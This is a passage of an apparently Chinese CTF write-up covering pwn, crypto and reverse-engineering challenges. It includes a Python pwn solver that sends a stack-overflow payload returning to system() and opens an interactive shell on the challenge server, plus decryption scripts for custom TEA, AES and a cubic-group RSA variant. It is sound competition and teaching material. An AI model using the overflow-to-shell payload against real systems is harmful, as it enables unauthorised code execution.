print(ins)

assert ins.opcode in ['jnz', 'jne']

should_match = False

else:

if ins.opcode in ['jz', 'je']:

should_match = False

else:

assert ins.opcode in ['jnz', 'jne']

should_match = True

ret = solve_math(block, should_match)

v = ' '.join([str(x) for x in ret])

print('solve math:', v)

io.read_until(b':')

io.write(v + ' ')

elif block[-1].opcode == 'test':

if ins.choice in ins.args[0]:

if ins.opcode in ['jz', 'je']:

should_match = False

else:

assert ins.opcode in ['jnz', 'jne'], ins.opcode

should_match = True

else:

if ins.opcode in ['jz', 'je']:

should_match = True

else:

assert ins.opcode in ['jnz', 'jne']

should_match = False

ret = solve_array(block, should_match)

print('solve array:', ret)

io.read_until(b':')

io.write(ret)

else:

print(block[-1])

raise ValueError('not possible')

print('next block entry: %s' % ins.choice)

block = []

addr = ins.choice

LOCAL = True

target = './bin.patched'

if os.getenv('TARGET'):

ary = os.getenv('TARGET').split(':')

target = (ary[0], int(ary[1]))

LOCAL = False

def solve_pow(suffix, hsh):

if isinstance(hsh, bytes):

hsh = hsh.decode('utf-8')

if isinstance(suffix, bytes):

suffix = suffix.decode('utf-8')

p = ['hashcat', '--potfile-disable', '--quiet', '--outfile-format', '2', '-a', '3', '-m1400', hsh.strip(), '?a?a?a?a' + suffix.strip()]

pio = zio(p)

x = pio.readline()

pio.close()

return x[:4]

print('target = %r' % (target, ))

io = zio(target, print_read=COLORED(RAW, 'yellow'), print_write=COLORED(RAW, 'cyan'), timeout=10000)

if LOCAL:

io.gdb_hint(breakpoints=[

0x40141F,

])

bin_content = open(target, 'rb').read()

instructions, mapping, reverse_map = load_disasm('disasm.txt')

else:

io.read_until(b'sha256(xxxx + ')

suffix = io.read_until(b') == ', keep=False)

hsh = io.read_line(keep=False)

ans = solve_pow(suffix, hsh)

io.read_until(b'give me xxxx:')

io.writeline(ans)

b64 = io.read_until(b'==end==', keep=False)

bin_content = base64.b64decode(b64.strip())

with open('bin.tmp', 'wb') as f:

f.write(bin_content)

with open('bin.tmp.disasm.txt', 'w') as f:

proc = subprocess.run(['objdump', '-M', 'intel', '-d', './bin.tmp'], stdout=f, stderr=f)

instructions, mapping, reverse_map = load_disasm('bin.tmp.disasm.txt')

idx, overflow_offset, overflow_size = find_overflow()

print(idx)

print(instructions[idx-3])

print(instructions[idx-2])

print(instructions[idx-1])

print(instructions[idx-0])

find_path(idx)

walk(io)

ret = 0x401379

system = 0x40134C

payload = l64(ret) * ((overflow_offset // 8) + 1) + l64(ret) + l64(system)

io.write(payload.ljust(overflow_size, b'_'))

io.interact()

Crypto

ciruit map

描述:

A valid map

Digital circuits is hard , right?

https://vergissmeinnichtz.github.io/posts/2021dicectf-writeup/ 2021dicectf原题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib

from Crypto.Util.number import long_to_bytes

def xor(A, B):

return bytes(a ^ b for a, b in zip(A, B))

input = [

[13675268, 8343801],

[12870274, 10251687],

[12490757, 6827786],

[3391233, 2096572],

[4567418, 15707475],

[3648155, 14095476],

[8680011, 14409690],

[2504390, 9376523] #先求出的key

]

xor1 = b''

for i in input:

tmp = sum(i)

xor1 += bytes(long_to_bytes(tmp))

mask = hashlib.md5(xor1).digest()

flag = long_to_bytes(0x1661fe85c7b01b3db1d432ad3c5ac83a)

print(xor(mask, flag))

cubic

nc 123.60.153.41 7002

A valid cubic

经典的自定义群运算题目,很显然这是一个有限群,所以其商群必然存在循环群。根据欧拉定理的证明可以得出,欧拉定理适用的条件是循环群,因此该题目定义的群是符合欧拉定理的。RSA也是基于欧拉定理,所以这道题和RSA的解法很像。

现在的关键问题是寻找一种方法求群上元素的阶,这是应用欧拉定理的关键数据。观察代码可以看出这个群的单位元是(None, None),我们不妨打个表来找一下规律,用下面的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from Crypto.Util.number import *

def add(P, Q, mod):

x1, y1 = P

x2, y2 = Q

if x2 is None:

return P

if x1 is None:

return Q

if y1 is None and y2 is None:

x = x1 * x2 % mod

y = (x1 + x2) % mod

return (x, y)

if y1 is None and y2 is not None:

x1, y1, x2, y2 = x2, y2, x1, y1

if y2 is None:

if (y1 + x2) % mod != 0:

x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod

y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod

return (x, y)

elif (x1 - y1 ** 2) % mod != 0:

x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod

return (x, None)

else:

return (None, None)

else:

if (x1 + x2 + y1 * y2) % mod != 0:

x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod

y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod

return (x, y)

elif (y1 * x2 + x1 * y2 + 2) % mod != 0:

x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod

return (x, None)

else:

return (None, None)

def myPower(P, a, mod):

target = (None, None)

t = P

while a > 0:

if a % 2:

target = add(target, t, mod)

t = add(t, t, mod)

a >>= 1

return target

def genPrime(nbits):

while True:

a = random.getrandbits(nbits // 2)

b = random.getrandbits(nbits // 2)

if b % 3 == 0:

continue

p = a ** 2 + 3 * b ** 2

if p.bit_length() == nbits and p % 3 == 1 and isPrime(p):

return p

def order(v, p):

i = 1

while True:

if myPower(v, i, p) == (None, None):

return i

i += 1

test = (1, 1)

print("p\t\torder\t\tp^2\t\t\tp^3")

for _ in range(10):

p = genPrime(8)

print("%d\t\t%d\t\t%d\t\t%d" % (p, order(test, p), p ** 2, p ** 3))

分析输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
p        order       p^2         p^3

199 13267 39601 7880599

199 13267 39601 7880599

211 14911 44521 9393931

199 13267 39601 7880599

181 10981 32761 5929741

163 1273 26569 4330747

211 14911 44521 9393931

193 12481 37249 7189057

151 7651 22801 3442951

241 19441 58081 13997521

发现,$p^3-1$都是order的倍数。那么完全可以当作阶来用。又因为flag不会太大,因此题目中用的模数pad*N完全可以用p或者q代替,这样这个题就做出来了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
from math import gcd 

import gmpy2

from Crypto.Util.number import inverse, long_to_bytes



def RSAdecompose(n, ed):

tmp = ed - 1

s = 0

while tmp % 2 == 0:

s += 1

tmp //= 2

t = tmp



A = 0

I = 0



find = False

for a in range(2, n):

for i in range(1, s + 1):

if pow(a, pow(2, i - 1) * t, n) != 1 and pow(a, pow(2, i - 1) * t, n) != n - 1 and pow(a, pow(2,i) * t, n) == 1:

A = a

I = i

find = True

break

if find:

break



if A == 0 and I == 0:

return None



p = gcd(pow(A, pow(2, I - 1) * t, n) - 1, n)

q = n // p

assert p * q == n



return (p, q)



def rational_to_quotients(x, y):

a = x // y

quotients = [a]

while a * y != x:

x, y = y, x - a * y

a = x // y

quotients.append(a)

return quotients



def convergents_from_quotients(quotients):

convergents = [(quotients[0], 1)]

for i in range(2, len(quotients) + 1):

quotients_partion = quotients[0:i]

denom = quotients_partion[-1] # 分母

num = 1

for _ in range(-2, -len(quotients_partion), -1):

num, denom = denom, quotients_partion[_] * denom + num

num += denom * quotients_partion[0]

convergents.append((num, denom))

return convergents



def WienerAttack(e, n):

quotients = rational_to_quotients(e, n)

convergents = convergents_from_quotients(quotients)

for (k, d) in convergents:

if k and not (e * d - 1) % k:

phi = (e * d - 1) // k

# check if (x^2 - coef * x + n = 0) has integer roots

coef = n - phi + 1

delta = coef * coef - 4 * n

if delta > 0 and gmpy2.iroot(delta, 2)[1] == True:

return d



def add(P, Q, mod):

x1, y1 = P

x2, y2 = Q



if x2 is None:

return P

if x1 is None:

return Q



if y1 is None and y2 is None:

x = x1 * x2 % mod

y = (x1 + x2) % mod

return (x, y)



if y1 is None and y2 is not None:

x1, y1, x2, y2 = x2, y2, x1, y1



if y2 is None:

if (y1 + x2) % mod != 0:

x = (x1 * x2 + 2) * inverse(y1 + x2, mod) % mod

y = (x1 + y1 * x2) * inverse(y1 + x2, mod) % mod

return (x, y)

elif (x1 - y1 ** 2) % mod != 0:

x = (x1 * x2 + 2) * inverse(x1 - y1 ** 2, mod) % mod

return (x, None)

else:

return (None, None)

else:

if (x1 + x2 + y1 * y2) % mod != 0:

x = (x1 * x2 + (y1 + y2) * 2) * inverse(x1 + x2 + y1 * y2, mod) % mod

y = (y1 * x2 + x1 * y2 + 2) * inverse(x1 + x2 + y1 * y2, mod) % mod

return (x, y)

elif (y1 * x2 + x1 * y2 + 2) % mod != 0:

x = (x1 * x2 + (y1 + y2) * 2) * inverse(y1 * x2 + x1 * y2 + 2, mod) % mod

return (x, None)

else:

return (None, None)





def myPower(P, a, mod):

target = (None, None)

t = P

while a > 0:

if a % 2:

target = add(target, t, mod)

t = add(t, t, mod)

a >>= 1

return target



e = 4900663392474333511021274640586676041190209685334279465644481953732654820007817465784732552403161544491127978960528622855662226436013278818654816634231988610344582782186016441780833459265436490192924918161499546130585534712016341883862636292562878766223441301439228458011482886280440623319855294068082796058072724036574171831263278231498144433634711174601580662800543021165022020993826916028784897066067245828422668690991474561604415237342722134303009211975140707793593659250476825594367676528487883099797429162461388379576349794949052029036932537743737882862455041914136992742454025785618036422947521579196419682673

N = 16747204882417711556566528921331201720409686477045148358102407358649177037162364757337579737480709279957814538616282656834391036843801973604436858315398426544680221288140414500707975771367683893038710797912471910646361535977073670535351131336367114860464749825264434600778157181779675957160461431719021503108817300190687402628173857695242091154625300957259974276165473530538699640521880788598671262492360267197522031691979305758467455462308866998372462867278079383311005053482404930635325015230152289437841471244731705014411625162283665596766705850908703578792897039321331779312997615919261149792657373096116865329681

cipher = (1502537198037412138959404925273947125135815733714613113514320632189593377751418476234621558490959338311604744450862970281032410900602855827915451892812987364777765959947084373897245818509290955227026042711684121325311823058498537239012028561792486103281876155615838531477852906000341526557222599310995739831543658223880935572087312742332183395367851697095266248237233506401316404436470875195714876017630583057770038474875796980993028217458408971552567154328292460799613025812259659231108327829165282506352092076311191840744613851846363317595941811588179124381597704935053201484470162263659131968489028564549622533697954537751062579586560414593976837419255907900029822338445737875577148140312280440226776902211723292101877348185901719741368457958588921796200981975075293129980056841456107867653473926640266384852447661565261302935222903023606406288336953609068541701972215445007377344441511973422565646147322055069598488293931, 1011403345603727408945876921250066820314220339105409921963107559195469502064003760326598913179366575981301702956740453627420761328713409390410661289472471898555514549526488404880640921605411282791715962933303870043871446613392022087329011550301515712639691076925568594867583281055065644358838017936361812762277354217939625893846603092627092038863632584999212161084360711665335337867672785946059549908812080484214952167276959823859872433687012399699321821628902087613134849101298661182346870557214136938336080489056200804879187330910338994984002258978932867300612824944744731909867671800598959017549057154534956670423369755122935318059535865610235297367836119658331560061846307081157317985910548447143673273543728783307221862568130810339529595961095105799484367002894090836242935087629943182476006427583114853476474037533007772721440732363420948049914690375136821227018708695289507462018947270591332826564337207730588105092063)

padding = 105633841121800385495299323793575525757662062720618660464374134421074511358214855668399510418917564552735810735896127683524211092138747188289947813061924731524251612980721176172871908031798142300682065573614320720911139764848510512663864510199192378016664027839477108506581437250078083046615135331808942191529





d = WienerAttack(e, N)

p, q = RSAdecompose(N, e * d)

msg = myPower(cipher, inverse(e, (p ** 3 - 1)), p)
flag = long_to_bytes(msg[0]) + long_to_bytes(msg[1])

print(flag)

Rev

SycGame

逆向后得出是一个推箱子游戏,给出 flag 的条件是连续玩游戏赢 5 次。

游戏的流程为:

  1. 生成一个固定的长度为 3001 的数组,数组值为 0 或 1。
  2. 随机生成一个 20 x 20 大小的地图,地图上有一些正整数和 -1、-2、-3。如果是 -1 则是箱子,-2 是玩家位置,-3 是箱子的目的地。如果是正整数则对应回第 1 步所得的数组小下标,如果是 0 就是不能走,1 就是可以走。
  3. 将地图作为一个长度为 400 的列表输出。
  4. 读入 w、a、s、d 的输入,根据输入移动玩家位置。如果玩家位置移动的方向有箱子,则将箱子同方向移动(推箱子);如果箱子移动的方向有目的地,则将箱子推到目的地上并给一个计数器 +1。如果箱子从目的地上被推开了则将计数器 -1。
  5. 当计数器的值等于箱子的数量则游戏胜利,否则如果玩家走到了不能走的地方或者非法输入则游戏失败。

搞懂了这个之后剩下就是写算法玩游戏了。因为箱子和目的地没有特定的关系(任何箱子推到任何目的地都算成功),所以我们直接用贪心和 BFS 来搜索。具体方式是先选一个没有处理过的箱子,接着 BFS 搜到最近的目的地(搜索的时候保证推的方向的反方向格子是可以走到的)。得到路径后,对于每一个推的操作,从玩家当前位置 BFS 搜到推箱子操作的反方向,然后推箱子。重复这个过程直到箱子被推到终点,然后将箱子的位置设成不能走,保证以后不会不小心碰到箱子。最后重复整个过程直到所有箱子被推到终点。

程序生成的地图不保证有解,包括我们的算法也处理不了一些特殊情况,所以有时候搜不出来解。还有一些程序本身的 bug,比如不能走到 -3 或者 -2 的上面,导致算法有时候会与程序的模拟不一致。不过只要我们有获胜的概率,我们可以重复游玩,直到连续五次胜利。这个概率不算太高,不过玩大概 200 盘左右就有一次,所以我们直接失败重开,最后成功拿到 flag。

SycOS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
#include<stdlib.h>

#include <stdio.h>

#include <stdint.h>

uint64_t d_2ec8 = 0;

uint8_t d_2ed8[0x80 * 0x20];

uint8_t d_2ed0[0x80 * 0x20];

uint8_t fakerandom() {

d_2ec8 = d_2ec8 * 0x41c64e6d + 0x3039;

//printf("d_2ec8 = 0x%llx\n", d_2ec8);

return (uint8_t)((d_2ec8 << 0x21) >> 0x31);

}

void encrypt(uint32_t* v, uint32_t* k) {

uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */

uint32_t delta = 0x9e3779b9; /* a key schedule constant */

uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */

for (i = 0; i < 16; i++) { /* basic cycle start */

sum += delta;

v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

} /* end cycle */

v[0] = v0; v[1] = v1;

}

//解密函数

void encrypt1(uint32_t* v, uint32_t* k) {

uint32_t v0 = v[0], v1 = v[1], sum =0, i; /* set up */

uint32_t delta = 0x9e3779b9; /* a key schedule constant */

uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */

for (i = 0; i < 8; i++) { /* basic cycle start */

v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);

v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);

sum += delta;

} /* end cycle */

v[0] = v0; v[1] = v1;

}

void exchange(int index) {

uint8_t tmp[0x100];

for (int i = 0; i < 0x100; ++i)

{

tmp[i] = d_2ed8[0x100 * index + i];

d_2ed8[0x100 * index + i] = d_2ed0[0x100 * (0xf-index) + i];

d_2ed0[0x100 * (0xf - index) + i] = tmp[i];

}

}

void bigexchange() {

uint8_t tmp[0x80 * 0x20];

for (int i = 0; i < 0x80 * 0x20; ++i) {

tmp[i] = d_2ed8[i];

d_2ed8[i] = d_2ed0[i];

d_2ed0[i] = tmp[i];

}

}

int main() {

unsigned char input[0x41] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";

int var3 = 0x80;

int var1 = 0;

int var5 = 0;

for (int i = 0; i < 0x20; i++) {

d_2ec8 = input[i] + i;

for (int j = 0; j < 0x80; ++j) {

uint8_t tmp = fakerandom();

d_2ed8[0x80 * i + j] = tmp;

}

}

for (int i = 0; i < 0x20; ++i) {

d_2ec8 = input[0x20 + i] + i;

for (int j = 0; j < 0x80; ++j) {

uint8_t tmp = fakerandom();

d_2ed0[0x80 * i + j] = tmp;

}

}

for(int index = 0 ; index < 0x10 ; ++index){

for (int i = 0; i < 0x1000; i += 8) {

uint32_t v[2];

uint32_t key[4] = { 0x11222233 ,0xAABBCCDD, 0x1a2b3c4d,0xcc1122aa };

v[0] = *(uint32_t*)(d_2ed8 + i);

v[1] = *(uint32_t*)(d_2ed8 + 4 + i);

encrypt(v, key);

// printf("v0 == %lx v1== %lx",v[0],v[1]);

*(uint32_t*)(d_2ed8 + i) = v[0];

*(uint32_t*)(d_2ed8 + 4 + i) = v[1];

}

for (int i = 0; i < 0x1000; i += 8) {

uint32_t v[2];

uint32_t key[4] = { 0x11222233 ,0xAABBCCDD, 0x1a2b3c4d,0xcc1122aa };

v[0] = *(uint32_t*)(d_2ed0 + i);

v[1] = *(uint32_t*)(d_2ed0 + 4 + i);

encrypt1(v, key);

// printf("v0 == %lx v1== %lx",v[0],v[1]);

*(uint32_t*)(d_2ed0 + i) = v[0];

*(uint32_t*)(d_2ed0 + 4 + i) = v[1];

}

exchange(index);

bigexchange();

}

printf("d_2ed8 = ");

for (int i = 0; i < 16; ++i)

printf("%x ",d_2ed8[i]);

printf("\n");

for (int i = 0; i < 16; ++i)

printf("%x ", d_2ed8[0xf*0x100 +i]);

printf("\n d_2ed0= ");

for (int i = 0; i < 16; ++i)

printf("%x ", d_2ed0[i]);

printf("\n");

for (int i = 0; i < 16; ++i)

printf("%x ", d_2ed0[0xf * 0x100 + i]);



}

img

比较的数在1ec8 ec8 ghidra 打开sctf看一下就行 前面的代码是它的加密流程

godness dance

逆向发现,程序输入一个长度 28 的字符串,如果符合条件,就会包裹到 SCTF{} 内然后输出。因此这个字符串就是 flag 的核心部分。

首先,程序会做第一部分的检查,根据逻辑,统计每个字符出现的次数,然后跟一个预置的列表进行比较,如果发现不相等,就打印 “count wrong”。因此通过这里可以得到每个字符出现的次数列表。

实际情况是,只允许小写字母,而且大部分出现次数都是 1,少量字母可以出现 2 次。

到这一步,我们可以判断出 flag 是 abcdefghiijklmnopqrstuuvwxyz 的某个排列。

接下来,有一个函数把 flag 传进去,然后做了一系列操作算出来一个数组,最后跟一个预置的全局数组进行对比,只有完全相等才能通过。因此主要是逆向这个函数。

这个函数中间有一大坨代码是让人不太想看的,但是好在一眼看过去,只有一些 shuffle 相关和统计相关的部分,没有特别复杂的逻辑出现。此外,观察到最终的 check 数组是从 0-28 的一个排列,因此猜测只是在表达每个字符的对应位置。

通过 gdb 尝试来输入几个测试例子,尝试换一换字母的顺序更加印证了这一点。

于是尝试写一段代码来恢复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
charset = b'abcdefghiijklmnopqrstuuvwxyz'

seq = [0x2, 0x1A, 0x11, 0x1C, 0x18, 0x0B, 0x15, 0x0A, 0x10, 0x14, 0x13, 0x12, 0x3, 0x8, 0x6, 0x0C, 0x9, 0x0E, 0x0D, 0x16, 0x4, 0x1B, 0x0F, 0x17, 0x1, 0x19, 0x7, 0x5]

flag = [None] * 29

for i, e in enumerate(seq):

flag[e] = charset[i]



print(bytes(flag[1:]))
$ ./dance.out

Input:waltznymphforquickjigsvexbud

Good for you!

flag:SCTF{waltznymphforquickjigsvexbud}

CplusExceptionEncrypt

描述:cpp is a good language

使用ssh穿起来的逻辑,可以这样将他处理

img

img

计算 0x402c37-0x402730=0x507

然后把throw改成 jmp 0x572

jmp 0x502

就行了

可能还要简单根据结构体确认一下跳转

分析了一下大部分的操作都用seh框起来,目测是xxtea

魔改的tea+稍微正常的aes(也魔改了)

tea部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
void encrypt (uint32_t* v, uint32_t* k) {  

uint32_t v0=v[0], v1=v[1], v2=v[2], v3=v[3];

uint32_t sum1=0,sum2=0, i; /* set up */

uint32_t delta=0x73637466; /* a key schedule constant */

uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */

for (i=0; i < 32; i++) { /* basic cycle start */

sum1 += delta;

sum2 += delta;

v0 += ((v1<<4) + k2) ^ (sum1 + v1) ^ ((v1>>5) + k3) ^ (sum1 + i);

v2 += ((v3<<4) + k2) ^ (sum2 + v3) ^ ((v3>>5) + k3) ^ (sum2 + i);

v1 += ((v0<<4) + k0) ^ (sum1 + v0) ^ ((v0>>5) + k1) ^ (sum1 + i);

v3 += ((v2<<4) + k0) ^ (sum2 + v2) ^ ((v2>>5) + k1) ^ (sum2 + i);

// v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);

} /* end cycle */

v[0]=v0 ^ ((delta>>24)&0xff); v[1]=v1^ ((delta>>16)&0xff);

v[2]=v2^ ((delta>>8)&0xff); v[3]=v3 ^ ((delta)&0xff);

}

//解密函数

void decrypt (uint32_t* v, uint32_t* k) {

uint32_t v0=v[0], v1=v[1], v2=v[2], v3=v[3];

uint32_t sum1=0x6c6e8cc0,sum2=0x6c6e8cc0;

int i; /* set up */

uint32_t delta=0x73637466; /* a key schedule constant */

uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */

v0=v0 ^ ((delta>>24)&0xff); v1=v1^ ((delta>>16)&0xff);

v2=v2^ ((delta>>8)&0xff); v3=v3 ^ ((delta)&0xff);

for (i=31; i>=0; i--) { /* basic cycle start */

v3 -= ((v2<<4) + k0) ^ (sum2 + v2) ^ ((v2>>5) + k1) ^ (sum2 + i);

v1 -= ((v0<<4) + k0) ^ (sum1 + v0) ^ ((v0>>5) + k1) ^ (sum1 + i);

v2 -= ((v3<<4) + k2) ^ (sum2 + v3) ^ ((v3>>5) + k3) ^ (sum2 + i);

v0 -= ((v1<<4) + k2) ^ (sum1 + v1) ^ ((v1>>5) + k3) ^ (sum1 + i);

sum1 -= delta;

sum2 -= delta;

} /* end cycle */

v[0]=v0; v[1]=v1;

v[2]=v2; v[3]=v3;

}


AES魔改部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
oid __cdecl enc_next(uint8_t *roundkeys, uint8_t *plaintext, uint8_t *ciphertext)

{

_DWORD *v3; // rax

_DWORD *v4; // rax

struct type_info *v5; // rdx

void *v6; // rbx

uint8_t *v7; // rax

uint8_t *v8; // rax

void *v9; // rbx

void *v10; // rax

uint8_t *v11; // rax

std::__cxx11::string temp_2; // [rsp+20h] [rbp-60h] BYREF

uint8_t tmp[16]; // [rsp+40h] [rbp-40h] BYREF

char v14; // [rsp+5Eh] [rbp-22h] BYREF

uint8_t t; // [rsp+5Fh] [rbp-21h]

double temp_1; // [rsp+60h] [rbp-20h]

int temp_0; // [rsp+6Ch] [rbp-14h]

char temp; // [rsp+73h] [rbp-Dh]

int a; // [rsp+74h] [rbp-Ch]

int cnt; // [rsp+78h] [rbp-8h]

uint8_t j; // [rsp+7Eh] [rbp-2h]

uint8_t i; // [rsp+7Fh] [rbp-1h]

v3 = _cxa_allocate_exception(4ui64);

*v3 = 1;

if ( refptr__ZTIi != (struct type_info *const)1 )

Unwind_Resume(v3);

a = *(_DWORD *)_cxa_begin_catch(v3);

for ( i = 0; i <= 0xFu; ++i )

{

v8 = roundkeys++;

ciphertext[i] = *v8 ^ plaintext[i] ^ 0x66; // 多了一个^0x66

}

_cxa_end_catch();

// 后面逻辑大致整理

static void CipherSCTF(state_t* state, const uint8_t* RoundKey)

{

uint8_t round = 0;

// Add the First round key to the state before starting the rounds.

AddRoundKeyDec(0, state, RoundKey); // ciphertext[i] = *v8 ^ plaintext[i] ^ 0x66; // 多了一个^0x66

// There will be Nr rounds.

// The first Nr-1 rounds are identical.

// These Nr rounds are executed in the loop below.

// Last one without InvMixColumn()

for (round = 1; ; ++round)

{

InvShiftRows(state);

InvSubBytes(state);

MixColumns(state);

AddRoundKey(round, state, RoundKey);

if (round == Nr) {

SubBytes(state);

ShiftRows(state);

AddRoundKey(round, state, RoundKey);

break;

}



}

}

加密流程:

- 输入32个字符

  • TEA处理前16个
  • AES处理前16个
  • TEA处理后16个
  • AES处理后16个
  • 比较

根据上述描述写出解密即可